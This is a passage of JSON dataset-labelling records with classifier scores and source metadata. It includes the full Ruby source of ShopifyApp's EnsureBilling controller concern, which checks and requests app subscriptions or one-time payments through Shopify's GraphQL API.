Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2210282030699877, "noise_severity": 0.7969311194917806, "missing_content_severity": 0.25904377519046423, "factual_density": 3.088647232041601, "pretraining_utility": 0.29030771846921155, "math_density": 0.01774113703646598, "code_density": 3.687143245443261, "reasoning_density": 0.7979175643367002, "education_level": 2.5979098973596164, "creative_writing_quality": -0.22264479402368237}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.6540351823850246, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9746660786751591, "secondary": 0.7939067625077896, "tertiary": 0.7661428918009784, "structured_records": 0.36716590461744464, "procedural_steps": 0.12844803631519097, "worked_solution": 0.06358517676076962, "contextual_dialogue": 7.892359207777897e-06, "content_quality": 0.5422100243123105, "noise_severity": 0.6625460436178108, "missing_content_severity": 0.7841301873412798, "factual_density": 0.4934300906874407, "pretraining_utility": 0.4681116782276954, "math_density": 0.9852157191362784, "code_density": 0.7392860378693838, "reasoning_density": 0.33506869638608305, "education_level": 0.4007557927125302, "creative_writing_quality": 0.9985372540335624, "primary_topic": 0.9525623397473275, "secondary_topic": 0.6249398181006187}, "probability_margin": {"primary": 0.9631432465613728, "secondary": 0.6806422251457186, "tertiary": 0.5709073994857956, "education_level": 0.13703058502613175, "creative_writing_quality": 0.9981211243464906, "primary_topic": 0.9202282175135282, "secondary_topic": 0.43678224602832993}, "raw_probabilities": {"primary": {"Academic Writing": 0.00010288576469691818, "Content Listing": 5.15865085727273e-05, "Creative Writing": 4.3661859311012335e-05, "Customer Support Page": 4.724803361048037e-05, "Q&A Forum": 2.861026219094791e-05, "Discussion Thread": 2.3247105121795145e-05, "Comment Section": 4.066619317335969e-05, "Missing Content": 6.78479010471938e-05, "Knowledge Article": 9.607542454044654e-05, "Legal Notices": 0.01257841216898787, "News Article": 1.6708960495233635e-05, "Organizational Announcement": 6.335205680040974e-05, "Nonfiction Writing": 3.791032006805519e-05, "Organizational About Page": 4.506942856107805e-05, "Personal About Page": 2.2374492537205184e-05, "Personal Blog": 1.7704736620540876e-05, "Product Page": 2.1685843254664554e-05, "Spam / Ads": 2.1614476267958296e-05, "Structured Data": 0.000980254859041658, "Technical Writing": 0.9757216587303608, "Transcript / Interview": 5.973628220523188e-05, "Tutorial / How-To Guide": 0.0003972408732556439, "User Reviews": 1.959204054504258e-05, "Other / Unknown": 0.009494855678733765}, "secondary": {"Academic Writing": 0.0005001362750598452, "Content Listing": 0.00043350212492016985, "Creative Writing": 0.00039451699982358284, "Customer Support Page": 0.00030956087893404806, "Q&A Forum": 0.00023855911692975226, "Discussion Thread": 0.00021655539612127207, "Comment Section": 0.00048255777686296544, "Missing Content": 0.0005847871374141089, "Knowledge Article": 0.0006712032329952722, "Legal Notices": 0.8024939807366317, "News Article": 0.0003213404447836357, "Organizational Announcement": 0.00044639897874581836, "Nonfiction Writing": 0.00030554514498819674, "Organizational About Page": 0.00045822835036018306, "Personal About Page": 0.00022515449603887472, "Personal Blog": 0.00019050360672106446, "Product Page": 0.00028415343127567776, "Spam / Ads": 0.0002492038196231426, "Structured Data": 0.003029042513141491, "Technical Writing": 0.06499144279787977, "Transcript / Interview": 0.00044553135574640834, "Tutorial / How-To Guide": 0.0006994438255475298, "User Reviews": 0.00017689596854244844, "NONE": 0.12185175559091306}, "tertiary": {"Academic Writing": 0.000436543564070633, "Content Listing": 0.00032172883207316923, "Creative Writing": 0.0003333035562277809, "Customer Support Page": 0.00024246892813806193, "Q&A Forum": 0.0001422036078895955, "Discussion Thread": 0.0001382707552951353, "Comment Section": 0.00039727090206537685, "Missing Content": 0.0006225718886501982, "Knowledge Article": 0.0005539017207518557, "Legal Notices": 0.20497953849014205, "News Article": 0.00023160996350391215, "Organizational Announcement": 0.00028706570248562314, "Nonfiction Writing": 0.0002511944226100467, "Organizational About Page": 0.00036061845131129063, "Personal About Page": 0.00018046835504634867, "Personal Blog": 0.00017001666129894542, "Product Page": 0.0001760221269017704, "Spam / Ads": 0.000202526624770946, "Structured Data": 0.0025681055659337636, "Technical Writing": 0.010172846153483175, "Transcript / Interview": 0.00029221003024984055, "Tutorial / How-To Guide": 0.000927481231185201, "User Reviews": 0.0001250944899776265, "NONE": 0.7758869379759377}, "structured_records": {"false": 0.6328340953825553, "true": 0.36716590461744464}, "procedural_steps": {"false": 0.871551963684809, "true": 0.12844803631519097}, "worked_solution": {"false": 0.9364148232392304, "true": 0.06358517676076962}, "contextual_dialogue": {"false": 0.9999921076407923, "true": 7.892359207777897e-06}, "content_quality": {"-2": 0.0040239331242272565, "-1": 0.00949560403765479, "0": 0.13309687642962856, "1": 0.46819549946088185, "2": 0.3851880869476076}, "noise_severity": {"0": 0.3040068140834232, "1": 0.604934636374826, "2": 0.08406253898571951, "3": 0.004112637078609822, "4": 0.002883373477421577}, "missing_content_severity": {"0": 0.7810361467707797, "1": 0.1858200843984371, "2": 0.027993835027347327, "3": 0.003363714476410677, "4": 0.0017862193270251024}, "factual_density": {"0": 0.009398212066815641, "1": 0.030592280285037136, "2": 0.1702391327962139, "3": 0.4415048132435973, "4": 0.34826556160833605}, "pretraining_utility": {"-2": 0.012481766501306338, "-1": 0.14901560082616427, "0": 0.4286979810627028, "1": 0.3553224509216646, "2": 0.054482200688161946}, "math_density": {"0": 0.9863393036334839, "1": 0.01144178991908394, "2": 0.001084130719054816, "3": 0.0004080172342364407, "4": 0.0007267584941407711}, "code_density": {"0": 0.00039488985437604956, "1": 0.0007745132207279773, "2": 0.02474508834206011, "3": 0.25946347879293097, "4": 0.714622029789905}, "reasoning_density": {"0": 0.620209158321716, "1": 0.11267553328787552, "2": 0.15357344707215548, "3": 0.07607230836849849, "4": 0.037469552949754584}, "education_level": {"none": 0.001442962342500723, "0": 0.0015751167686644991, "1": 0.009635858530543013, "2": 0.5006298272604418, "3": 0.36359924223431006, "4": 0.12311699286353996}, "creative_writing_quality": {"not_applicable": 0.9987810450279687, "-2": 0.0001258895244151995, "-1": 0.00025114989443913554, "0": 0.0006599206814780891, "1": 0.000132454778800446, "2": 4.9540092898509296e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.303032515372603e-05, "Art & Design": 0.00011368550608332766, "Law & Crime": 0.00028552363729816973, "Education & Careers": 0.03415864762813277, "Entertainment & Media": 9.198261386914905e-05, "Fashion & Beauty": 7.429111149221819e-05, "Business, Economics & Finance": 0.00018608201472474222, "Food & Dining": 7.212757821572906e-05, "Games & Gaming": 0.0003148477883147177, "Electronics & Hardware": 0.00013693382455444168, "Health, Healthcare & Wellness": 6.426788162019152e-05, "History & Geography": 9.680017595423102e-05, "Home, Pets & Hobbies": 6.016991924012111e-05, "Industry & Production": 5.941993775119066e-05, "Language, Literature & Philosophy": 7.844022912461746e-05, "Politics & Government": 8.250498971679271e-05, "Religion & Spirituality": 6.815018206620745e-05, "Science, Mathematics & Engineering": 0.0002290559842933641, "Relationships & Community": 6.265318618391017e-05, "Software Usage & Applications": 0.007586797243868117, "Programming & Software Engineering": 0.954386865141661, "Sports & Fitness": 8.473544551968841e-05, "Vehicles & Transportation": 3.760256041436844e-05, "Travel & Tourism": 8.171913413016628e-05, "Other / Uncovered Subject": 0.001418342081190329, "Unknown / Insufficient Content": 9.532387942664305e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.001425898347420651, "Art & Design": 0.0012301739807895355, "Law & Crime": 0.052633915278269494, "Education & Careers": 0.20258296368380346, "Entertainment & Media": 0.001110571240002824, "Fashion & Beauty": 0.0006190554238807406, "Business, Economics & Finance": 0.0016710711539309085, "Food & Dining": 0.0005137612329262572, "Games & Gaming": 0.001066785034248415, "Electronics & Hardware": 0.0018520689148768734, "Health, Healthcare & Wellness": 0.0006663665678799597, "History & Geography": 0.0007167170188146875, "Home, Pets & Hobbies": 0.0005442074511116442, "Industry & Production": 0.0004920440036812749, "Language, Literature & Philosophy": 0.0004607496077685051, "Politics & Government": 0.001091841512970631, "Religion & Spirituality": 0.0007134875332336674, "Science, Mathematics & Engineering": 0.001558728534759128, "Relationships & Community": 0.00045752996416425774, "Software Usage & Applications": 0.03485933391022735, "Programming & Software Engineering": 0.050668253316740124, "Sports & Fitness": 0.0005248731937077739, "Vehicles & Transportation": 0.0003009201930611796, "Travel & Tourism": 0.0007054815453700055, "Other / Uncovered Subject": 0.0021679916442273973, "NONE": 0.6393652097121334}}, "probabilities": {"primary": {"Academic Writing": 0.00010288576469691818, "Content Listing": 5.15865085727273e-05, "Creative Writing": 4.3661859311012335e-05, "Customer Support Page": 4.724803361048037e-05, "Q&A Forum": 2.861026219094791e-05, "Discussion Thread": 2.3247105121795145e-05, "Comment Section": 4.066619317335969e-05, "Missing Content": 6.78479010471938e-05, "Knowledge Article": 9.607542454044654e-05, "Legal Notices": 0.01257841216898787, "News Article": 1.6708960495233635e-05, "Organizational Announcement": 6.335205680040974e-05, "Nonfiction Writing": 3.791032006805519e-05, "Organizational About Page": 4.506942856107805e-05, "Personal About Page": 2.2374492537205184e-05, "Personal Blog": 1.7704736620540876e-05, "Product Page": 2.1685843254664554e-05, "Spam / Ads": 2.1614476267958296e-05, "Structured Data": 0.000980254859041658, "Technical Writing": 0.9757216587303608, "Transcript / Interview": 5.973628220523188e-05, "Tutorial / How-To Guide": 0.0003972408732556439, "User Reviews": 1.959204054504258e-05, "Other / Unknown": 0.009494855678733765}, "secondary": {"Academic Writing": 0.0005001362750598452, "Content Listing": 0.00043350212492016985, "Creative Writing": 0.00039451699982358284, "Customer Support Page": 0.00030956087893404806, "Q&A Forum": 0.00023855911692975226, "Discussion Thread": 0.00021655539612127207, "Comment Section": 0.00048255777686296544, "Missing Content": 0.0005847871374141089, "Knowledge Article": 0.0006712032329952722, "Legal Notices": 0.8024939807366317, "News Article": 0.0003213404447836357, "Organizational Announcement": 0.00044639897874581836, "Nonfiction Writing": 0.00030554514498819674, "Organizational About Page": 0.00045822835036018306, "Personal About Page": 0.00022515449603887472, "Personal Blog": 0.00019050360672106446, "Product Page": 0.00028415343127567776, "Spam / Ads": 0.0002492038196231426, "Structured Data": 0.003029042513141491, "Technical Writing": 0.06499144279787977, "Transcript / Interview": 0.00044553135574640834, "Tutorial / How-To Guide": 0.0006994438255475298, "User Reviews": 0.00017689596854244844, "NONE": 0.12185175559091306}, "tertiary": {"Academic Writing": 0.000436543564070633, "Content Listing": 0.00032172883207316923, "Creative Writing": 0.0003333035562277809, "Customer Support Page": 0.00024246892813806193, "Q&A Forum": 0.0001422036078895955, "Discussion Thread": 0.0001382707552951353, "Comment Section": 0.00039727090206537685, "Missing Content": 0.0006225718886501982, "Knowledge Article": 0.0005539017207518557, "Legal Notices": 0.20497953849014205, "News Article": 0.00023160996350391215, "Organizational Announcement": 0.00028706570248562314, "Nonfiction Writing": 0.0002511944226100467, "Organizational About Page": 0.00036061845131129063, "Personal About Page": 0.00018046835504634867, "Personal Blog": 0.00017001666129894542, "Product Page": 0.0001760221269017704, "Spam / Ads": 0.000202526624770946, "Structured Data": 0.0025681055659337636, "Technical Writing": 0.010172846153483175, "Transcript / Interview": 0.00029221003024984055, "Tutorial / How-To Guide": 0.000927481231185201, "User Reviews": 0.0001250944899776265, "NONE": 0.7758869379759377}, "structured_records": {"false": 0.6328340953825553, "true": 0.36716590461744464}, "procedural_steps": {"false": 0.871551963684809, "true": 0.12844803631519097}, "worked_solution": {"false": 0.9364148232392304, "true": 0.06358517676076962}, "contextual_dialogue": {"false": 0.9999921076407923, "true": 7.892359207777897e-06}, "content_quality": {"-2": 0.0040239331242272565, "-1": 0.00949560403765479, "0": 0.13309687642962856, "1": 0.46819549946088185, "2": 0.3851880869476076}, "noise_severity": {"0": 0.30400681408342317, "1": 0.6049346363748259, "2": 0.0840625389857195, "3": 0.0041126370786098215, "4": 0.0028833734774215765}, "missing_content_severity": {"0": 0.7810361467707798, "1": 0.18582008439843714, "2": 0.02799383502734733, "3": 0.0033637144764106773, "4": 0.0017862193270251027}, "factual_density": {"0": 0.009398212066815641, "1": 0.030592280285037136, "2": 0.1702391327962139, "3": 0.4415048132435973, "4": 0.34826556160833605}, "pretraining_utility": {"-2": 0.01248176650130634, "-1": 0.1490156008261643, "0": 0.42869798106270285, "1": 0.35532245092166465, "2": 0.05448220068816195}, "math_density": {"0": 0.986339303633484, "1": 0.011441789919083942, "2": 0.0010841307190548161, "3": 0.00040801723423644073, "4": 0.0007267584941407713}, "code_density": {"0": 0.00039488985437604956, "1": 0.0007745132207279773, "2": 0.02474508834206011, "3": 0.25946347879293097, "4": 0.714622029789905}, "reasoning_density": {"0": 0.620209158321716, "1": 0.11267553328787552, "2": 0.15357344707215548, "3": 0.07607230836849849, "4": 0.037469552949754584}, "education_level": {"none": 0.001442962342500723, "0": 0.0015751167686644991, "1": 0.009635858530543013, "2": 0.5006298272604418, "3": 0.36359924223431006, "4": 0.12311699286353996}, "creative_writing_quality": {"not_applicable": 0.9987810450279687, "-2": 0.0001258895244151995, "-1": 0.00025114989443913554, "0": 0.0006599206814780891, "1": 0.000132454778800446, "2": 4.9540092898509296e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.303032515372603e-05, "Art & Design": 0.00011368550608332766, "Law & Crime": 0.00028552363729816973, "Education & Careers": 0.03415864762813277, "Entertainment & Media": 9.198261386914905e-05, "Fashion & Beauty": 7.429111149221819e-05, "Business, Economics & Finance": 0.00018608201472474222, "Food & Dining": 7.212757821572906e-05, "Games & Gaming": 0.0003148477883147177, "Electronics & Hardware": 0.00013693382455444168, "Health, Healthcare & Wellness": 6.426788162019152e-05, "History & Geography": 9.680017595423102e-05, "Home, Pets & Hobbies": 6.016991924012111e-05, "Industry & Production": 5.941993775119066e-05, "Language, Literature & Philosophy": 7.844022912461746e-05, "Politics & Government": 8.250498971679271e-05, "Religion & Spirituality": 6.815018206620745e-05, "Science, Mathematics & Engineering": 0.0002290559842933641, "Relationships & Community": 6.265318618391017e-05, "Software Usage & Applications": 0.007586797243868117, "Programming & Software Engineering": 0.954386865141661, "Sports & Fitness": 8.473544551968841e-05, "Vehicles & Transportation": 3.760256041436844e-05, "Travel & Tourism": 8.171913413016628e-05, "Other / Uncovered Subject": 0.001418342081190329, "Unknown / Insufficient Content": 9.532387942664305e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0014258983474206507, "Art & Design": 0.0012301739807895353, "Law & Crime": 0.05263391527826948, "Education & Careers": 0.2025829636838034, "Entertainment & Media": 0.0011105712400028237, "Fashion & Beauty": 0.0006190554238807405, "Business, Economics & Finance": 0.001671071153930908, "Food & Dining": 0.0005137612329262571, "Games & Gaming": 0.0010667850342484149, "Electronics & Hardware": 0.001852068914876873, "Health, Healthcare & Wellness": 0.0006663665678799596, "History & Geography": 0.0007167170188146874, "Home, Pets & Hobbies": 0.0005442074511116441, "Industry & Production": 0.0004920440036812748, "Language, Literature & Philosophy": 0.000460749607768505, "Politics & Government": 0.0010918415129706307, "Religion & Spirituality": 0.0007134875332336672, "Science, Mathematics & Engineering": 0.0015587285347591275, "Relationships & Community": 0.00045752996416425763, "Software Usage & Applications": 0.034859333910227344, "Programming & Software Engineering": 0.05066825331674011, "Sports & Fitness": 0.0005248731937077738, "Vehicles & Transportation": 0.00030092019306117955, "Travel & Tourism": 0.0007054815453700054, "Other / Uncovered Subject": 0.002167991644227397, "NONE": 0.6393652097121333}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10735, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10735, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:11.513276+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "ccb6f853-937c-459b-8490-a88f565722d5", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b827ec602baf60dc1a9a53e2e125bc1efc7c5aaf14ff8482fe683f4f319487d5", "source_metadata": {"uuid": "ccb6f853-937c-459b-8490-a88f565722d5", "repo_name": "dhirajpatra/canvas", "relative_path": "spec/selenium/quizzes/quizzes_restrictions_teacher_spec.rb", "category": "TEST", "algo_rel_score": 0.6322713494300842, "quality_score": 6.538197040557861, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 5, "repo_created_at": "2019-03-21T07:25:03.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 1, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "3fb62e20f1b105d09ed5fc568d59bb5328b8c750", "size_bytes": 8355, "file_timestamp": 1562983293, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "45f60919367227460afcf1c5103e9f86e18d4214"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 5, "repo_created_at": "2019-03-21T07:25:03.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 1, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "3fb62e20f1b105d09ed5fc568d59bb5328b8c750", "size_bytes": 8355, "file_timestamp": 1562983293, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "45f60919367227460afcf1c5103e9f86e18d4214", "url": "https://github.com/dhirajpatra/canvas/blob/45f60919367227460afcf1c5103e9f86e18d4214/spec/selenium/quizzes/quizzes_restrictions_teacher_spec.rb"}, "gpt4o_tokens": 2138, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2210282030699877, "noise_severity": 0.7969311194917806, "missing_content_severity": 0.25904377519046423, "factual_density": 3.088647232041601, "pretraining_utility": 0.29030771846921155, "math_density": 0.01774113703646598, "code_density": 3.687143245443261, "reasoning_density": 0.7979175643367002, "education_level": 2.5979098973596164, "creative_writing_quality": -0.22264479402368237}, "score_applicability": {"education_level": 0.9985570376574994, "creative_writing_quality": 0.0012189549720313794}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Shopify/shopify_app/blob/c78bebeae923c0bc699d318620d92301c7666978/lib/shopify_app/controller_concerns/ensure_billing.rb", "id": "ruby-0-f272de3242ad97ff7a401d87feb3d2ea", "text": "# frozen_string_literal: true\n\nmodule ShopifyApp\n module EnsureBilling\n extend ActiveSupport::Concern\n\n RECURRING_INTERVALS = [BillingConfiguration::INTERVAL_EVERY_30_DAYS, BillingConfiguration::INTERVAL_ANNUAL]\n\n included do\n before_action :check_billing, if: :billing_required?\n rescue_from ::ShopifyApp::BillingError, with: :handle_billing_error\n end\n\n private\n\n def check_billing(session = current_shopify_session)\n return true if session.blank? || !billing_required?\n\n confirmation_url = nil\n\n if has_active_payment?(session)\n has_payment = true\n else\n has_payment = false\n confirmation_url = request_payment(session)\n end\n\n unless has_payment\n if request.xhr?\n RedirectForEmbedded.add_app_bridge_redirect_url_header(confirmation_url, response)\n ShopifyApp::Logger.debug(\"Responding with 401 unauthorized\")\n head(:unauthorized)\n elsif ShopifyApp.configuration.embedded_app?\n fullpage_redirect_to(confirmation_url)\n else\n redirect_to(confirmation_url, allow_other_host: true)\n end\n end\n\n has_payment\n end\n\n def billing_required?\n ShopifyApp.configuration.requires_billing?\n end\n\n def handle_billing_error(error)\n ShopifyApp::Logger.warn(\"Encountered billing error - #{error.message}: #{error.errors}\\n\" \\\n \"Redirecting to login page\")\n\n login_url = ShopifyApp.configuration.login_url\n if request.xhr?\n RedirectForEmbedded.add_app_bridge_redirect_url_header(login_url, response)\n head(:unauthorized)\n else\n fullpage_redirect_to(login_url)\n end\n end\n\n def has_active_payment?(session)\n if recurring?\n has_subscription?(session)\n else\n has_one_time_payment?(session)\n end\n end\n\n def has_subscription?(session)\n ShopifyApp::Logger.debug(\"Checking if shop has subscription\")\n response = run_query(session: session, query: RECURRING_PURCHASES_QUERY)\n subscriptions = response.body[\"data\"][\"currentAppInstallation\"][\"activeSubscriptions\"]\n\n subscriptions.each do |subscription|\n if subscription[\"name\"] == ShopifyApp.configuration.billing.charge_name &&\n (!Rails.env.production? || !subscription[\"test\"])\n\n return true\n end\n end\n\n false\n end\n\n def has_one_time_payment?(session)\n ShopifyApp::Logger.debug(\"Checking if has one time payment\")\n purchases = nil\n end_cursor = nil\n\n loop do\n response = run_query(session: session, query: ONE_TIME_PURCHASES_QUERY, variables: { endCursor: end_cursor })\n purchases = response.body[\"data\"][\"currentAppInstallation\"][\"oneTimePurchases\"]\n\n purchases[\"edges\"].each do |purchase|\n node = purchase[\"node\"]\n\n if node[\"name\"] == ShopifyApp.configuration.billing.charge_name &&\n (!Rails.env.production? || !node[\"test\"]) &&\n node[\"status\"] == \"ACTIVE\"\n\n return true\n end\n end\n\n end_cursor = purchases[\"pageInfo\"][\"endCursor\"]\n break unless purchases[\"pageInfo\"][\"hasNextPage\"]\n end\n\n false\n end\n\n def request_payment(session)\n shop = session.shop\n host = Base64.encode64(\"#{shop}/admin\")\n return_url = \"#{ShopifyAPI::Context.host}?shop=#{shop}&host=#{host}\"\n\n if recurring?\n data = request_recurring_payment(session: session, return_url: return_url)\n data = data[\"data\"][\"appSubscriptionCreate\"]\n else\n data = request_one_time_payment(session: session, return_url: return_url)\n data = data[\"data\"][\"appPurchaseOneTimeCreate\"]\n end\n\n raise BillingError.new(\"Error while billing the store\", data[\"userErrors\"]) unless data[\"userErrors\"].empty?\n\n data[\"confirmationUrl\"]\n end\n\n def request_recurring_payment(session:, return_url:)\n response = run_query(\n session: session,\n query: RECURRING_PURCHASE_MUTATION,\n variables: {\n name: ShopifyApp.configuration.billing.charge_name,\n lineItems: {\n plan: {\n appRecurringPricingDetails: {\n interval: ShopifyApp.configuration.billing.interval,\n price: {\n amount: ShopifyApp.configuration.billing.amount,\n currencyCode: ShopifyApp.configuration.billing.currency_code,\n },\n },\n },\n },\n returnUrl: return_url,\n trialDays: ShopifyApp.configuration.billing.trial_days,\n test: ShopifyApp.configuration.billing.test,\n },\n )\n\n response.body\n end\n\n def request_one_time_payment(session:, return_url:)\n response = run_query(\n session: session,\n query: ONE_TIME_PURCHASE_MUTATION,\n variables: {\n name: ShopifyApp.configuration.billing.charge_name,\n price: {\n amount: ShopifyApp.configuration.billing.amount,\n currencyCode: ShopifyApp.configuration.billing.currency_code,\n },\n returnUrl: return_url,\n test: ShopifyApp.configuration.billing.test,\n },\n )\n\n response.body\n end\n\n def recurring?\n RECURRING_INTERVALS.include?(ShopifyApp.configuration.billing.interval)\n end\n\n def run_query(session:, query:, variables: nil)\n client = ShopifyAPI::Clients::Graphql::Admin.new(session: session)\n\n response = client.query(query: query, variables: variables)\n\n raise BillingError.new(\"Error while billing the store\", []) unless response.ok?\n raise BillingError.new(\"Error while billing the store\", response.body[\"errors\"]) if response.body[\"errors\"]\n\n response\n end\n\n RECURRING_PURCHASES_QUERY = <<~QUERY\n query appSubscription {\n currentAppInstallation {\n activeSubscriptions {\n name, test\n }\n }\n }\n QUERY\n\n ONE_TIME_PURCHASES_QUERY = <<~QUERY\n query appPurchases($endCursor: String) {\n currentAppInstallation {\n oneTimePurchases(first: 250, sortKey: CREATED_AT, after: $endCursor) {\n edges {\n node {\n name, test, status\n }\n }\n pageInfo {\n hasNextPage, endCursor\n }\n }\n }\n }\n QUERY\n\n RECURRING_PURCHASE_MUTATION = <<~QUERY\n mutation createPaymentMutation(\n $name: String!\n $lineItems: [AppSubscriptionLineItemInput!]!\n $returnUrl: URL!\n $trialDays: Int\n $test: Boolean\n ) {\n appSubscriptionCreate(\n name: $name\n lineItems: $lineItems\n returnUrl: $returnUrl\n trialDays: $trialDays\n test: $test\n ) {\n confirmationUrl\n userErrors {\n field, message\n }\n }\n }\n QUERY\n\n ONE_TIME_PURCHASE_MUTATION = <<~QUERY\n mutation createPaymentMutation(\n $name: String!\n $price: MoneyInput!\n $returnUrl: URL!\n $test: Boolean\n ) {\n appPurchaseOneTimeCreate(\n name: $name\n price: $price\n returnUrl: $returnUrl\n test: $test\n ) {\n confirmationUrl\n userErrors {\n field, message\n }\n }\n }\n QUERY\n end\nend\n", "text_preview": "# frozen_string_literal: true module ShopifyApp module EnsureBilling extend ActiveSupport::Concern RECURRING_INTERVALS = [BillingConfiguration::INTERVAL_EVERY_30_DAYS, BillingConfiguration::INTERVAL_ANNUAL] included do before_action :check_", "input_sha256": "eb43b54480fe1ef93e84e3d7b43edb6d7d77a145dafed2b18bf2fd56de2b625e", "text_sha256": "f272de3242ad97ff7a401d87feb3d2eaaf217a0e8294743a46bf9c6c8d9a55e8", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16109, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.3014477026479134, "noise_severity": 0.01378197658662922, "missing_content_severity": 0.004229453893774074, "factual_density": 3.4343380760959477, "pretraining_utility": 0.6525966995988209, "math_density": 0.030223436002769548, "code_density": 3.8539316537112094, "reasoning_density": 1.2730818533339152, "education_level": 2.8202849628455695, "creative_writing_quality": -0.12784455262790584}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.05672855560580847, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9971713505449261, "secondary": 0.9076779876038767, "tertiary": 0.9668730021490682, "structured_records": 0.026670832961502543, "procedural_steps": 0.01183793328678935, "worked_solution": 0.0021615792452142125, "contextual_dialogue": 5.790522125117997e-06, "content_quality": 0.5545345884129301, 